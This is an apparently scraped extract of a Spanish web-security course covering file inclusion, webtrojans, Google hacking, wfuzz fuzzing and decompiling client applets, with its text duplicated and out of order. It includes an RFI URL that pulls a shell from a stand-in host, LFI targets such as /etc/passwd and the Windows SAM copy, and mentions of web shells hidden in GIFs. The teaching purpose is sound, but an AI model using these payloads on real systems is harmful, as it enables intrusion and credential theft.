subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 54: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

